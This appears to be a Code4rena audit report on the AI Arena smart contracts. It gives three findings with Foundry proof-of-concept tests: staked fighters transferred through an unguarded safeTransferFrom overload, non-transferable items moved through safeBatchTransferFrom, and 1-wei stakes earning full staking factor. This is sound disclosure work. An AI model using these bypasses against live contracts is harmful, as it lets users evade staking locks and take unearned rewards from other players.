AI Arena - israeladelaja's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L539-L545

Vulnerability details

Impact

An important invariant of the FighterFarm contract is a fighter can only be transferred if the msg.sender is approved/owner, the balance of the recipient is below the max fighters allowed and the fighter is not staked. However, this invariant can be broken. This invariant is held through the FighterFarm._ableToTransfer() function which is called in the FighterFarm.transferFrom() function and the FighterFarm.safeTransferFrom() function to check whether the previously stated conditions are true. However, OpenZeppelin's ERC721 contract (which FighterFarm inherits from) contains an overloaded function of FighterFarm.safeTransferFrom() with an extra bytes memory data parameter. Through this overloaded function which doesn't contain the necessary checks, the fighter can be transferred without the conditions being held, breaking an important invariant of the system.

Proof of Concept

This is the FighterFarm._ableToTransfer() function:

/// @notice Check if the transfer of a specific token is allowed.
/// @dev Cannot receive another fighter if the user already has the maximum amount.
/// @dev Additionally, users cannot trade fighters that are currently staked.
/// @param tokenId The token ID of the fighter being transferred.
/// @param to The address of the receiver.
/// @return Bool whether the transfer is allowed or not.
function _ableToTransfer(uint256 tokenId, address to) private view returns(bool) {
    return (
      _isApprovedOrOwner(msg.sender, tokenId) &&
      balanceOf(to) < MAX_FIGHTERS_ALLOWED &&
      !fighterStaked[tokenId]
    );
}

and this is the FighterFarm.transferFrom() function:

/// @notice Transfer NFT ownership from one address to another.
/// @dev Add a custom check for an ability to transfer the fighter.
/// @param from Address of the current owner.
/// @param to Address of the new owner.
/// @param tokenId ID of the fighter being transferred.
function transferFrom(
    address from, 
    address to, 
    uint256 tokenId
) 
    public 
    override(ERC721, IERC721)
{
    require(_ableToTransfer(tokenId, to));
    _transfer(from, to, tokenId);
}

and this is the FighterFarm.safeTransferFrom() function (without data parameter):

/// @notice Safely transfers an NFT from one address to another.
/// @dev Add a custom check for an ability to transfer the fighter.
/// @param from Address of the current owner.
/// @param to Address of the new owner.
/// @param tokenId ID of the fighter being transferred.
function safeTransferFrom(
    address from, 
    address to, 
    uint256 tokenId
) 
    public 
    override(ERC721, IERC721)
{
    require(_ableToTransfer(tokenId, to));
    _safeTransfer(from, to, tokenId, "");
}

As can be seen, both functions override OpenZeppelin's standard ERC721 contract to add the additional checks as stated earlier. However, looking at OpenZeppelin's standard ERC721 contract (available here: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.7/contracts/token/ERC721/ERC721.sol) we can see an overloaded function called ERC721.safeTransferFrom() but with an additional bytes memory data parameter:

function safeTransferFrom(
    address from,
    address to,
    uint256 tokenId,
    bytes memory data
) public virtual override {
    require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: caller is not token owner nor approved");
    _safeTransfer(from, to, tokenId, data);
}

and since this function is not overridden in the FighterFarm contract to implement the necessary checks, a fighter owner can transfer their fighter while the fighter is staked and/or to an address that contains the max amount of allowed fighters.

Clone the github repo with recurse, then run forge install and forge build, then paste the following test file into the /test folder and run forge test --mt test_safeTransferWhileStakedPOC and also run forge test --mt test_safeTransferMoreThanMaxPOC:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";
import {Vm} from "forge-std/Vm.sol";
import {FighterFarm} from "../../src/FighterFarm.sol";
import {Neuron} from "../../src/Neuron.sol";
import {AAMintPass} from "../../src/AAMintPass.sol";
import {MergingPool} from "../../src/MergingPool.sol";
import {RankedBattle} from "../../src/RankedBattle.sol";
import {VoltageManager} from "../../src/VoltageManager.sol";
import {GameItems} from "../../src/GameItems.sol";
import {AiArenaHelper} from "../../src/AiArenaHelper.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";

/// @notice Unit test for FighterFarm Contract.
contract FighterFarmTest is Test {

    /*//////////////////////////////////////////////////////////////
                                CONSTANTS
    //////////////////////////////////////////////////////////////*/

    uint8[][] internal _probabilities;
    address internal constant _DELEGATED_ADDRESS = 0x22F4441ad6DbD602dFdE5Cd8A38F6CAdE68860b0;
    address internal _ownerAddress;
    address internal _treasuryAddress;
    address internal _neuronContributorAddress;

    /*//////////////////////////////////////////////////////////////
                             CONTRACT INSTANCES
    //////////////////////////////////////////////////////////////*/

    FighterFarm internal _fighterFarmContract;
    AAMintPass internal _mintPassContract;
    MergingPool internal _mergingPoolContract;
    RankedBattle internal _rankedBattleContract;
    VoltageManager internal _voltageManagerContract;
    GameItems internal _gameItemsContract;
    AiArenaHelper internal _helperContract;
    Neuron internal _neuronContract;

    function getProb() public {
        _probabilities.push([25, 25, 13, 13, 9, 9]);
        _probabilities.push([25, 25, 13, 13, 9, 1]);
        _probabilities.push([25, 25, 13, 13, 9, 10]);
        _probabilities.push([25, 25, 13, 13, 9, 23]);
        _probabilities.push([25, 25, 13, 13, 9, 1]);
        _probabilities.push([25, 25, 13, 13, 9, 3]);
    }

    /*//////////////////////////////////////////////////////////////
                                SETUP
    //////////////////////////////////////////////////////////////*/

    function setUp() public {
        _ownerAddress = address(this);
        _treasuryAddress = vm.addr(1);
        _neuronContributorAddress = vm.addr(2);
        getProb();

        _fighterFarmContract = new FighterFarm(_ownerAddress, _DELEGATED_ADDRESS, _treasuryAddress);

        _helperContract = new AiArenaHelper(_probabilities);

        _mintPassContract = new AAMintPass(_ownerAddress, _DELEGATED_ADDRESS);
        _mintPassContract.setFighterFarmAddress(address(_fighterFarmContract));
        _mintPassContract.setPaused(false);

        _gameItemsContract = new GameItems(_ownerAddress, _treasuryAddress);

        _voltageManagerContract = new VoltageManager(_ownerAddress, address(_gameItemsContract));

        _neuronContract = new Neuron(_ownerAddress, _treasuryAddress, _neuronContributorAddress);

        _rankedBattleContract = new RankedBattle(
            _ownerAddress, address(_fighterFarmContract), _DELEGATED_ADDRESS, address(_voltageManagerContract)
        );

        _rankedBattleContract.instantiateNeuronContract(address(_neuronContract));

        _mergingPoolContract =
            new MergingPool(_ownerAddress, address(_rankedBattleContract), address(_fighterFarmContract));

        _fighterFarmContract.setMergingPoolAddress(address(_mergingPoolContract));
        _fighterFarmContract.instantiateAIArenaHelperContract(address(_helperContract));
        _fighterFarmContract.instantiateMintpassContract(address(_mintPassContract));
        _fighterFarmContract.instantiateNeuronContract(address(_neuronContract));
        _fighterFarmContract.setMergingPoolAddress(address(_mergingPoolContract));
    }

    /// @notice Test transferring NFT while staked.
    function test_safeTransferWhileStakedPOC() public {
        _mintFromMergingPool(_ownerAddress);
        assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress);
        _fighterFarmContract.addStaker(_ownerAddress);
        _fighterFarmContract.updateFighterStaking(0, true);

        assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress);
        vm.expectRevert();
        _fighterFarmContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0);
        assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress);

        assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress);
        _fighterFarmContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0, "0x");
        assertEq(_fighterFarmContract.ownerOf(0), _DELEGATED_ADDRESS);
    }

    /// @notice Test transferring more tokens than the max allowed.
    function test_safeTransferMoreThanMaxPOC() public {
        for (uint256 i = 0; i < 10; i++) {
            _mintFromMergingPool(_ownerAddress);
        }

        for (uint256 i = 0; i < 10; i++) {
            _mintFromMergingPool(address(1));
        }

        assertEq(_fighterFarmContract.balanceOf(_DELEGATED_ADDRESS), 0);
        for (uint256 i = 0; i < 10; i++) {
            _fighterFarmContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, i);
        }

        vm.startPrank(address(1));
        for (uint256 i = 10; i < 20; i++) {
            _fighterFarmContract.safeTransferFrom(address(1), _DELEGATED_ADDRESS, i, "0x");
        }
        vm.stopPrank();

        assertEq(_fighterFarmContract.balanceOf(_DELEGATED_ADDRESS), 20);
    }

    /*//////////////////////////////////////////////////////////////
                               HELPERS
    //////////////////////////////////////////////////////////////*/

    /// @notice Helper function to mint an fighter nft to an address.
    function _mintFromMergingPool(address to) internal {
        vm.prank(address(_mergingPoolContract));
        _fighterFarmContract.mintFromMergingPool(to, "_neuralNetHash", "original", [uint256(1), uint256(80)]);
    }

    function onERC721Received(address, address, uint256, bytes memory) public pure returns (bytes4) {
        // Handle the token transfer here
        return this.onERC721Received.selector;
    }

}

Tools Used

Manual Review.

Recommended Mitigation Steps

Override OpenZeppelin's ERC721.safeTransferFrom() function with the additional bytes memory data parameter to implement the checks.

Assessed type

Token-Transfer

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/GameItems.sol#L122-L134

Vulnerability details

Impact

When creating a game item through GameItems.createGameItem() the admin can set whether the game item is transferrable or not. They can further change this parameter through GameItems.adjustTransferability() for a specific game item. This condition is enforced through the GameItems.safeTransferFrom() function which checks whether a token ID is transferrable or not. However, a game item owner can still bypass this check by using the GameItems.safeBatchTransferFrom() function implemented in OpenZeppelin's ERC1155 standard contract (which GameItems inherits from).

Proof of Concept

This is the GameItems.safeTransferFrom() function:

/// @notice Safely transfers an NFT from one address to another.
/// @dev Added a check to see if the game item is transferable.
function safeTransferFrom(
    address from, 
    address to, 
    uint256 tokenId,
    uint256 amount,
    bytes memory data
) 
    public 
    override(ERC1155)
{
    require(allGameItemAttributes[tokenId].transferable);
    super.safeTransferFrom(from, to, tokenId, amount, data);
}

As can be seen, it checks whether a token ID is tranferrable and will revert if it is not. However OpenZeppelin's ERC1155 standard contract (available here: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.7/contracts/token/ERC1155/ERC1155.sol) contains the ERC1155.safeBatchTransferFrom() function and since the GameItems contract does not override this method to implement the necessary checks, a game item owner can bypass the checks to transfer a non transferrable game item through ERC1155.safeBatchTransferFrom().

Clone the github repo with recurse, then run forge install and forge build, then paste the following test file into the /test folder and run forge test --mt test_canTransferThroughSafeBatchTransferFromPOC:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console, stdError} from "forge-std/Test.sol";
import {Vm} from "forge-std/Vm.sol";
import {GameItems} from "../../src/GameItems.sol";
import {Neuron} from "../../src/Neuron.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";

contract GameItemsTest is Test {
    address internal constant _DELEGATED_ADDRESS = 0x22F4441ad6DbD602dFdE5Cd8A38F6CAdE68860b0;
    address internal _ownerAddress;
    address internal _treasuryAddress;
    address internal _neuronContributorAddress;

    GameItems internal _gameItemsContract;
    Neuron internal _neuronContract;

    function setUp() public {
        _ownerAddress = address(this);
        _treasuryAddress = vm.addr(1);
        _neuronContributorAddress = vm.addr(2);

        _gameItemsContract = new GameItems(_ownerAddress, _treasuryAddress);
        _neuronContract = new Neuron(_ownerAddress, _treasuryAddress, _neuronContributorAddress);

        _neuronContract.addSpender(address(_gameItemsContract));

        _gameItemsContract.instantiateNeuronContract(address(_neuronContract));
        _gameItemsContract.createGameItem("Battery", "https://ipfs.io/ipfs/", true, true, 10_000, 1 * 10 ** 18, 10);
    }

    /// @notice Test can still transfer game items through safeBatchTransferFrom()
    function test_canTransferThroughSafeBatchTransferFromPOC() public {
        _fundUserWith4kNeuronByTreasury(_ownerAddress);
        _gameItemsContract.mint(0, 1);
        _gameItemsContract.adjustTransferability(0, false);
        (,, bool transferable,,,) = _gameItemsContract.allGameItemAttributes(0);
        assertEq(transferable, false);

        vm.expectRevert();
        _gameItemsContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0, 1, "");
        assertEq(_gameItemsContract.balanceOf(_DELEGATED_ADDRESS, 0), 0);
        assertEq(_gameItemsContract.balanceOf(_ownerAddress, 0), 1);

        uint256[] memory ids = new uint256[](1);
        uint256[] memory amounts = new uint256[](1); 
        ids[0] = 0;
        amounts[0] = 1;

        _gameItemsContract.safeBatchTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, ids, amounts, "");
        assertEq(_gameItemsContract.balanceOf(_DELEGATED_ADDRESS, 0), 1);
        assertEq(_gameItemsContract.balanceOf(_ownerAddress, 0), 0);
    }

    /*//////////////////////////////////////////////////////////////
                               HELPERS
    //////////////////////////////////////////////////////////////*/

    /// @notice Helper function to fund an account with 4k $NRN tokens.
    function _fundUserWith4kNeuronByTreasury(address user) internal {
        vm.prank(_treasuryAddress);
        _neuronContract.transfer(user, 4_000 * 10 ** 18);
        assertEq(4_000 * 10 ** 18 == _neuronContract.balanceOf(user), true);
    }

    function onERC1155Received(address, address, uint256, uint256, bytes memory) public pure returns (bytes4) {
        return this.onERC1155Received.selector;
    }
}

Tools Used

Manual Review.

Recommended Mitigation Steps

Override OpenZeppelin's ERC1155.safeBatchTransferFrom() function to implement the checks.

Assessed type

Token-Transfer

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L530-L532

Vulnerability details

Impact

A fighter's staking factor is calculated as the square root of the NRN amount the owner has staked through the RankedBattle.stakeNRN() function. However, the function which implements the mechanism of calculating the staking factor: RankedBattle._getStakingFactor() has a flaw. It allows users who only stake 1 wei of NRN ($10^{-18}$ of a NRN) to earn the same as someone who stakes upto 3 NRN ($3 * 10^{18}$). This is because of a check in the RankedBattle._getStakingFactor() function, which returns a staking factor of 1 if the calculated staking factor (square root of NRN staked) returns 0.

Proof of Concept

This is the RankedBattle._getStakingFactor() function:

    /// @notice Gets the staking factor for a token.
    /// @param tokenId The ID of the token.
    /// @param stakeAtRisk The amount of stake they have at risk.
    /// @return Staking factor.
    function _getStakingFactor(
        uint256 tokenId, 
        uint256 stakeAtRisk
    ) 
        private 
        view 
        returns (uint256) 
    {
      uint256 stakingFactor_ = FixedPointMathLib.sqrt(
          (amountStaked[tokenId] + stakeAtRisk) / 10**18
      );
      if (stakingFactor_ == 0) {
        stakingFactor_ = 1;
      }
      return stakingFactor_;
    }    

As can be seen, because of the check if (stakingFactor_ == 0) with a true condition returning a staking factor of 1, a fighter that has 1 wei of NRN staked behind it can earn the same as someone who stakes upto 3 NRN behind their fighter.

For example, if a user stakes 1 wei of NRN, it is divided by $10^{18}$ which yields 0 (because Solidity doesn't support decimals). The square root of 0 is 0 and because of the if (stakingFactor_ == 0) check in the RankedBattle._getStakingFactor() function, it returns 1. And for staking 3 NRN (which is $3 * 10^{18}$) dividing by $10^{18}$ would yield 3 and then the square root of 3 is 1.7320508... which because Solidity doesn't support decimals would yield 1.

Clone the github repo with recurse, then run forge install and forge build, then paste the following test file into the /test folder and run forge test --mt test_playerCanEarnRewardsStakingOneWeiPOC:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";
import {Vm} from "forge-std/Vm.sol";
import {FighterFarm} from "../../src/FighterFarm.sol";
import {Neuron} from "../../src/Neuron.sol";
import {AAMintPass} from "../../src/AAMintPass.sol";
import {MergingPool} from "../../src/MergingPool.sol";
import {RankedBattle} from "../../src/RankedBattle.sol";
import {VoltageManager} from "../../src/VoltageManager.sol";
import {GameItems} from "../../src/GameItems.sol";
import {AiArenaHelper} from "../../src/AiArenaHelper.sol";
import {StakeAtRisk} from "../../src/StakeAtRisk.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";

contract PlayerCanEarnSignificantRewardsStakingOneWeiPOC is Test {
    /*//////////////////////////////////////////////////////////////
                                CONSTANTS
    //////////////////////////////////////////////////////////////*/

    uint8[][] internal _probabilities;
    address internal constant _DELEGATED_ADDRESS = 0x22F4441ad6DbD602dFdE5Cd8A38F6CAdE68860b0;
    address internal constant _GAME_SERVER_ADDRESS = 0x7C0a2BAd62C664076eFE14b7f2d90BF6Fd3a6F6C;
    address internal _ownerAddress;
    address internal _treasuryAddress;
    address internal _neuronContributorAddress;

    /*//////////////////////////////////////////////////////////////
                             CONTRACT INSTANCES
    //////////////////////////////////////////////////////////////*/

    FighterFarm internal _fighterFarmContract;
    AAMintPass internal _mintPassContract;
    MergingPool internal _mergingPoolContract;
    RankedBattle internal _rankedBattleContract;
    VoltageManager internal _voltageManagerContract;
    GameItems internal _gameItemsContract;
    AiArenaHelper internal _helperContract;
    Neuron internal _neuronContract;
    StakeAtRisk internal _stakeAtRiskContract;

    function getProb() public {
        _probabilities.push([25, 25, 13, 13, 9, 9]);
        _probabilities.push([25, 25, 13, 13, 9, 1]);
        _probabilities.push([25, 25, 13, 13, 9, 10]);
        _probabilities.push([25, 25, 13, 13, 9, 23]);
        _probabilities.push([25, 25, 13, 13, 9, 1]);
        _probabilities.push([25, 25, 13, 13, 9, 3]);
    }

    function setUp() public {
        _ownerAddress = address(this);
        _treasuryAddress = vm.addr(1);
        _neuronContributorAddress = vm.addr(2);
        getProb();

        _fighterFarmContract = new FighterFarm(_ownerAddress, _DELEGATED_ADDRESS, _treasuryAddress);

        _helperContract = new AiArenaHelper(_probabilities);

        _mintPassContract = new AAMintPass(_ownerAddress, _DELEGATED_ADDRESS);
        _mintPassContract.setFighterFarmAddress(address(_fighterFarmContract));
        _mintPassContract.setPaused(false);

        _gameItemsContract = new GameItems(_ownerAddress, _treasuryAddress);

        _voltageManagerContract = new VoltageManager(_ownerAddress, address(_gameItemsContract));

        _neuronContract = new Neuron(_ownerAddress, _treasuryAddress, _neuronContributorAddress);

        _rankedBattleContract = new RankedBattle(
            _ownerAddress, _GAME_SERVER_ADDRESS, address(_fighterFarmContract), address(_voltageManagerContract)
        );

        _mergingPoolContract =
            new MergingPool(_ownerAddress, address(_rankedBattleContract), address(_fighterFarmContract));

        _stakeAtRiskContract =
            new StakeAtRisk(_treasuryAddress, address(_neuronContract), address(_rankedBattleContract));

        _voltageManagerContract.adjustAllowedVoltageSpenders(address(_rankedBattleContract), true);

        _neuronContract.addStaker(address(_rankedBattleContract));
        _neuronContract.addMinter(address(_rankedBattleContract));

        _rankedBattleContract.instantiateNeuronContract(address(_neuronContract));
        _rankedBattleContract.instantiateMergingPoolContract(address(_mergingPoolContract));
        _rankedBattleContract.setStakeAtRiskAddress(address(_stakeAtRiskContract));

        _fighterFarmContract.setMergingPoolAddress(address(_mergingPoolContract));
        _fighterFarmContract.addStaker(address(_rankedBattleContract));
        _fighterFarmContract.instantiateAIArenaHelperContract(address(_helperContract));
        _fighterFarmContract.instantiateMintpassContract(address(_mintPassContract));
        _fighterFarmContract.instantiateNeuronContract(address(_neuronContract));
    }

    /// @notice Test that a player can earn significant rewards by only staking 1 wei
    function test_playerCanEarnRewardsStakingOneWeiPOC() public {
        address player1 = vm.addr(3);
        _mintFromMergingPool(player1);
        uint8 tokenIdPlayer1 = 0;
        _fundUserWith4kNeuronByTreasury(player1);
        vm.prank(player1);
        _rankedBattleContract.stakeNRN(1, tokenIdPlayer1);
        assertEq(_rankedBattleContract.amountStaked(0), 1);

        address player2 = vm.addr(4);
        _mintFromMergingPool(player2);
        uint8 tokenIdPlayer2 = 1;
        _fundUserWith4kNeuronByTreasury(player2);
        vm.prank(player2);
        _rankedBattleContract.stakeNRN(3 ether, tokenIdPlayer2);
        assertEq(_rankedBattleContract.amountStaked(1), 3 ether);

        vm.startPrank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(tokenIdPlayer1, 0, 0, 1500, true);
        _rankedBattleContract.updateBattleRecord(tokenIdPlayer2, 0, 0, 1500, true);
        vm.stopPrank();
        _rankedBattleContract.setNewRound();

        assertEq(_rankedBattleContract.stakingFactor(tokenIdPlayer1), _rankedBattleContract.stakingFactor(tokenIdPlayer2));
    }

    /*//////////////////////////////////////////////////////////////
                               HELPERS
    //////////////////////////////////////////////////////////////*/

    /// @notice Helper function to mint an fighter nft to an address.
    function _mintFromMergingPool(address to) internal {
        vm.prank(address(_mergingPoolContract));
        _fighterFarmContract.mintFromMergingPool(to, "_neuralNetHash", "original", [uint256(1), uint256(80)]);
    }

    /// @notice Helper function to fund an account with 4k $NRN tokens.
    function _fundUserWith4kNeuronByTreasury(address user) internal {
        vm.prank(_treasuryAddress);
        _neuronContract.transfer(user, 4_000 * 10 ** 18);
        assertEq(4_000 * 10 ** 18 == _neuronContract.balanceOf(user), true);
    }

    function onERC721Received(address, address, uint256, bytes memory) public pure returns (bytes4) {
        // Handle the token transfer here
        return this.onERC721Received.selector;
    }
}

Tools Used

Manual Review.

Recommended Mitigation Steps

Potentially introducing a minimum NRN stake.

Assessed type

Other